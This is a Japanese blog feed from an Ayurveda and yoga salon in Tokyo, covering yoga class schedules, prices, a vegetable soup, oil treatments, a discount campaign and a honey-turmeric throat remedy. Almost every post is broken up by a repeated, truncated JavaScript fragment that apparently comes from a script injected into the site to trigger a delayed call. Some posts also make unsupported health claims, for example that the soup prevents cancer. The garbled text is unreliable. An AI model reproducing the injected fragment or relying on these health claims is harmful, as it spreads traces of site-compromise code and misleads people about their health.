トリートメントは最低でも7日間続けること

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東京杉並区・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。

今日のテーマは
「トリートメントは最低でも7日間続けること」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

これは、今年教えていただいたインドのアーユルヴェーダドクターに言われたこと。
もちろん「アーユルヴェーダのトリートメントは連続してやるほど成果が上がる」
と言うことは以前から分かってはいたんです。
ただ日本の社会や家庭の在り方から見て、それは難しいよなあと思っていて、
そこまで推すことはありませんでした。

でも、最近考えが変わりました。

続けることで成果が出るのが分かっているなら、
やっぱりその形で提供したい!と思うようになったんです。

そのために、今日から人体実験します。
施術する方ではなく、久しぶりに施術されまくってみます!
この結果をもとに、新しい展開を考えています。
しっかりデータとるぞー!

ゆるヨーガクラス開催日程(11月16日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。

普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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11月29日(日)11時~
12月6日(日)11時~
12月12日(土)11時~
12月20日(日)11時~
12月26日(土)11時~
1月11日(月・祝)11時~
1月17日(日)11時~
1月23日(日)11時~
1月27日(水)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


【講師≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

【資格】
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!

【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。

※当サロンのヨーガクラスは宗教とは一切関係ありません

ハーバード大学式野菜スープとアーユルヴェーダ

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【ゆるヨーガの開催日程はこちらから】
【インドのお洋服セール中!】
朝晩の冷え込みが深まってきましたねー
温かいスープがおいしい季節になってきました。
そこで、最近話題になっている
「ハーバード大学式野菜スープ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}のお話です。
このスープの提唱者は、麻布病院院長であり、
ハーバード大学で免疫とがん・免疫と食事の関係を 長年研究されてきた
高橋弘先生。

この「ハーバード大学式野菜スープ」では、
野菜の持つ、「ファイトケミカル」をとるのが目的です。
では、ファイトケミカルとは一体なんでしょう?

ファイトケミカル(フィトケミカル)とは、

ファイト(phyto)はギリシャ語で植物を、
ケミカル(chemical)は英語で化学成分を意味しているのです。
ファイトケミカルは、植物が作り出す天然の成分で
しかも、この成分は、植物にしか作ることができないのです。
私たちは、植物を食べること以外に、ファイトケミカルを
摂ることができないということなんですね。
ファイトケミカルの9割は、野菜や果物などの
私たちの身近にある、食品に含まれているということ!
ファイトケミカルの主なものです。

~Very one「野菜スープの簡単レシピ!免疫力アップの作り方!」より~

さらに、このファイトケミカルのパワーがすごい!
・抗酸化力
・代謝を高める
・アレルギーを押さえる
・免疫力を高める
・がんを予防する
・抵抗力がつく
・便通がよくなる
などなど、試してみたくなることばかりです。
そんなすごいスープの作り方はとっても簡単!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
いつでも手に入りやすい4つの野菜、
玉ねぎ・かぼちゃ・にんじん・キャベツを切って水と煮るだけ。

ポイントは、ファイトケミカルが多く含まれるという
皮の部分もそのまま使うこと。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

かぼちゃやにんじんは皮つきのまま、
玉ねぎの皮も、出汁パックのようなものに包んで
一緒に煮ると言う方もいました。
そして、ことこと煮たら出来上がり! 味付けは何もしません。
詳しい作り方は、
「簡単レシピと野菜のチカラ~ハーバード大学式命の野菜スープを読んで~」
など、他のサイトにたくさんありますので参考に。
そして、いただく時は、汁だけを飲みますandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
煮た野菜は別にして食べても食べなくてもよく、
ただ、すべての成分は水に溶けだしてしまっているので
ほとんど味がなく、あまりおいしくはないようです。
私が、このスープについて、いろんな記事を調べてみたのは、
実は、以前にアーユルヴェーダの診察を受けた際に教わった
野菜スープの作り方や飲み方とそっくりだったandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
からなんです。
野菜の種類は少し違いますし、
調味料も、岩塩とスパイスを少しだけ加えたり
ギーを加えても良かったりしましたが、
数種類の野菜を50~60分煮て、汁だけ飲む!
の方法が全く同じでした!
もちろん、ファイトケミカルなんて言葉は
これっぽっちも出てきませんが、
アーユルヴェーダは、なぜこんなことまで知ってるのでしょう。
とっても不思議~
この野菜スープ、いまならサーモスとかに入れて
持ち歩くことも出来ますしね。
ただいま、人生何度目かの食生活見直し期に入ってますので
私も、またやってみようと思います!
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ゆるヨーガクラス開催日程(10月22日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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10月25日(日)11時~あと1名様
11月1日(日)11時~
11月16日(月)11時~
11月29日(日)11時~
12月6日(日)11時~
12月12日(土)11時~
12月20日(日)11時~
12月26日(土)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
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②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ゆるヨーガクラス開催日程(10月15日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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10月17日(土)11時~
10月25日(日)11時~
11月1日(日)11時~
11月16日(月)11時~
11月29日(日)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
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お申込みお待ちしております。
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アーユルヴェーダ&ヨーガサロンmanas 《マナス》

大好評!ヘッド&首肩オイルケア

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【ゆるヨーガの開催日程はこちらから】
【インドのお洋服セール中!】
すっかり涼しくなってきました。
先週末は小淵沢でオイルテラピーに関する合宿に参加、
またまた、たくさんの学びを得てきました!
皆さんに、どんどんお伝えしていこうと思います。
さて、新たに始めたショートコースですがandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ヘッド+首肩オイルケアandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}が大好評です!
体の中の大事な機能である五感が詰まっている頭と耳、
そして、日常的な緊張状態にさらされている首肩を
短時間ながら、じっくりケアしていきます。
体の筋肉は別々に見えますが、運動連鎖と言って
すべて関係しあっていますので、頭と首肩をやっていても
全身のコリや緊張を緩和し、リラックスしてもらうことができるんです。
多くのお客様が余りの心地よさに眠ってしまうことも多く、
「これはスゴイ!」
と驚きの声をいただいています♪
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

さらに、絶賛!無料キャンペーン中の
フェイシャルをあわせて受けていただくと、
サービスで足裏にもオイルを塗らせていただいています。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

実は、頭と耳と足の裏、と言うのが
オイルを塗るべき3点セットなので、
フェイシャルをやる間に、塗っておけば効果倍増かと。
また、お顔にも自律神経のツボがたくさんありますので
受けていただく間に、どんどん緊張が緩んでいきます。
さらに、プラセンタ・エッセンスの使い方も工夫して、
よりよく効果が出るように研究しながらやらせて頂いています!
ヘッド+首肩オイルケアandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
20分で2500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
フェイシャルも受けていただくと、プラス60分
期間限定!一緒にお申込みいただくと無料です♪
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

まだまだ、予約受付中ですので、ぜひお試しください。
【ご予約方法】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
HPより予約状況カレンダーを確認していただき、
カレンダーの下にある予約フォームより、希望日時を選択。
通常メニューのご希望はタブより選択。
「フェイシャル」と「ヘッド&首肩ケア」はタブがないので
備考欄に記入してください。
※携帯アドレスからだと返信が届かないことが多いです。
 お申込みしてすぐに自動返信メールが送られていますので、
 それが届かない場合は、こちらinfo@manas.tokyoからの
 こちらからのメールが受け取れない状態とお考えください。
 お手数ですが設定をご確認のうえ、再度、お申込みいただくか、
 お電話にて確認いただけますよう、お願いいたします。
 (電話は出られないことも多いので留守電に残してくださいませ)
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

うれしいプレゼント♪

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【ゆるヨーガの開催日程はこちらから】
【インドのお洋服セール中!】
今日は、10月の5周年キャンペーン一人目のお客様。
毎年恒例のハロウィンのプチプレゼントを用意して
お待ちしておりました。
すると、お越しになられたお客様から先制の
ハロウィンギフトをいただいてしまったのです♪
1510052.jpg
な!な!なんと!!
私の愛する「なみすけ」がマカロンにっ!!!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※注:「なみすけ」とは、杉並区のゆるキャラであるandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ワタクシ、阿佐ヶ谷七夕まつりでもなみすけ推し
和菓子になみすけの焼印が押してあるだけで即買い
と言うほど、「なみすけ」を愛してやまない
杉並模範市民なので、もう大喜び!
1510051.jpg
ああ、かわいい[emoji:e-51]かわいい[emoji:e-51] お客様にも
「この可愛さが分かってもらえてうれしい!」と言われ、
二人で「かわいいですよねー[emoji:e-51]」
とばかり言っていた1日でしたね。
M様、
とても素敵なお土産をありがとうございましたandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
[emoji:e-51] し!か!も!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
妹のナミーのマカロンもあったと聞いて我慢できず、
売ってるお店も聞き出す私。(笑)
仕事終わりに教えていただいたケーキ屋さんへ直行しましたが
なぜか、なみすけはいませんでした…
売り切れ?!売り切れなの?
なみすけぇぇぇっっっ!!!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

という、心の絶叫は発せずに、すごすご引き返しました。
でもこれから、毎日お店チェックに行きたいと思います!
(こわいよ)
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

【訂正】5周年キャンペーン

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【ゆるヨーガの開催日程はこちらから】
【インドのお洋服セール中!】
先日、お知らせした5周年キャンペーンの中で
一部、価格が間違っていたものがありましたので
訂正いたします。
前の記事につきましても、訂正させていただきました)
アーユルヴェーダ&ヨーガサロンmanas 《マナス》
★5周年キャンペーン★
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

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年に一度の大幅割引のチャンス!
ぜひ本物のアーユルヴェーダを体験してみてください。


アーユルヴェーダ&ヨーガサロンmanas 《マナス》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
5周年キャンペーン andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
今年は、下記4つのコースを
特別価格にてご提供いたします。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

しかも、あとで感想を送って下さる方は
さらに 1000円OFF
になります。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

夏の疲れが取れないな~とか、
たまには行ってみようかな~と思ったら、
ぜひこのお得な機会に遊びに来てください

【キャンペーン対象メニュー】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アヴィヤンガ60分 15,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} のコースが
              
10月だけ 13,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
        さらに感想を書くと 12,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
  ※初回の方は、初回限定価格10,000円を適用します
アヴィヤンガ90分 18,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} のコースが
              
10月だけ 15,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
        さらに感想を書くと 14,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
マナス・スタンダード 21,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} のコースが
              
10月だけ 19,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
        さらに感想を書くと 18,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
マナス・スタンダード2回コース 38,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
              
10月だけ 35,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
        さらに感想を書くと 34,000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
※2回コースは2回目が11月になってもOKですが
  お支払いは一括でお願いいたします。
※他の割引(ご紹介割・次回ご予約割・初回割)との併用はできません。
☆ご予約の空き状況の確認はこちらから☆andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
☆ご予約はこちらから☆andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

期間中、何度でもご利用できます
感想は簡単でもかまいません。もちろん、良いことだけでなく
不満や残念に思ったことでもOKです。

10月は研修が入ったため、土日が埋まりつつありますので
週末ご希望の方は早めにご検討くださいませ。
また、オイルの準備の都合上、早期に受付終了する場合も
ございますので、お早めのご予約をお願いいたします。
☆他のメニューも見てみる☆andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

喉が痛くなったら【アーユルヴェーダ療法】

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【ゆるヨーガの開催日程はこちらから】
【インドのお洋服セール中!】
昨日から、喉に鋭い痛みが!!!
体もだる重だし、病気の予感!!!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

そんな風になったら、家にあるもので対策しましょう。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
まずは、ただハチミツを舐める。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダ的には非加熱でないとダメandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ですが
天然のハチミツには抗菌作用がありますから、
それだけでも効果があります。
しかし私の喉の痛みは、それでも治らなかったので、
次なる作戦へ。
ハチミツにターメリックを混ぜて舐める。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
小さじ半分から1杯ぐらいのターメリックに
小さじ1杯程度のハチミツを混ぜて練り練り。
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それを、少しずつ口に含んでゆっくり溶かしながら舐めます。
薬みたいに、一気にごくんと飲みこむのではなく、
患部にハチミツが触るような気持ちで溶かすのが◎。
実は今回、6月に沖縄で買った春ウコンを使ったのですが、
春ウコンはターメリックとは違うandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}そうです。
えっ!!!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ターメリックと呼ばれてカレーなどに使われるのは、
秋ウコンの方なのだとか。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

こちらの方が、クルクミンと呼ばれる成分が豊富で
いわゆる肝機能サポートのドリンクなどにも使われています。
そのほかに、お高いサフランの代わりにお米の色付けに使ったり、
沢庵などの着色にも使われてるそうです。
で、私の使った春ウコンは、苦みが強いのですが、
アーユルヴェーダでは「苦味」は火のエネルギー(ピッタ)や
水のエネルギー(カパ)を下げてくれる味覚であるので
私(火のエネルギー強め!)にはあっていると思って使いました!
そのほかにも、しょうがとハチミツ、以前に紹介した
トゥルシーと氷砂糖シロップなんかもいいですよ。
ぜひぜひお試しください。
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

フェイシャルメニューのワンコイン・モニター募集!

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【ゆるヨーガの開催日程はこちらから】
【インドのお洋服セール中!】
新メニューのフェイシャルを500円で
ワンコインで体験していただくモニターを募集します!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

「アーユルヴェーダハーブとバラのフェイシャル」
(プラセンタ・エッセンス仕上げ)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

【メニューの流れ】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.クレンジング
2.肌のしわ取り、ハリに良いとされるサンダルウッドが入った
  オイルで顔とデコルテのマッサージ
3.フェイシャル用に調合されたアーユルヴェーダ・ハーブに
  保湿作用を高めるローザセンティフォリア種のバラ花弁の粉末を加え
  ペーストにしたもので顔と首のパック
4.5分ほどおいたら、ペーストでゴマージュして角質落とし
5.ペーストふき取り
6.必須アミノ酸を高濃度に含む馬プラセンタ・エッセンスを塗布
7.オーガニック・ローズウォーターを塗布
7.アーユルヴェーダの美容オイル・クンクマディで仕上げ
8.オイルのべたつきが気にならないように、
  再度、オーガニックローズウォーターで引締め
【所要時間】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} 50~60分
今まで、カウンセリングなしでも受けられるショートコースを
ご用意したいとは思いつつ、アーユルヴェーダの基本に沿った形でと
いろいろ考えすぎて、なかなか実現できませんでした。。。
でも今回、このフェイシャルをやってみようと思ったのは、
ハーブパックやローズウォーターだけでは物足りなく感じていた中に
入れたい!と思える、プラセンタ・エッセンス出会ったからです。
美容商材には余り興味がなかった私ですが、プラセンタ(胎盤)エキスには
すごい生命力とパワーがあるように感じています。
ここしばらく、新メニューと同じ流れで自分でも試しているのですが、
手触りは本当に良いし、肌も明るくなりました。
いつも出来やすい吹き出物も、できる頻度が少なくなり、
できても重症化しなくなってきています。
ナチュラルハーブとオイル、そしてプラセンタの良さを実感していただける
コースだと思います。
そんなフェイシャルメニュー、マナスでは初めてということで、
期間限定!500円でモニター募集いたします。
モニターと言えば聞こえはいいですが、練習台とも言えます。(笑)
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それでも、受けてあげてもいいよ!と言う優しい方、
ぜひご予約お待ちしております。。。
また、ショートメニューとして下記も同時に始めます。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
「ヘッド&首肩オイルケア」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【メニューの流れ】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.椅子に座った姿勢で頭と耳のオイル・トリートメント
2.続いて、首肩のトリートメント
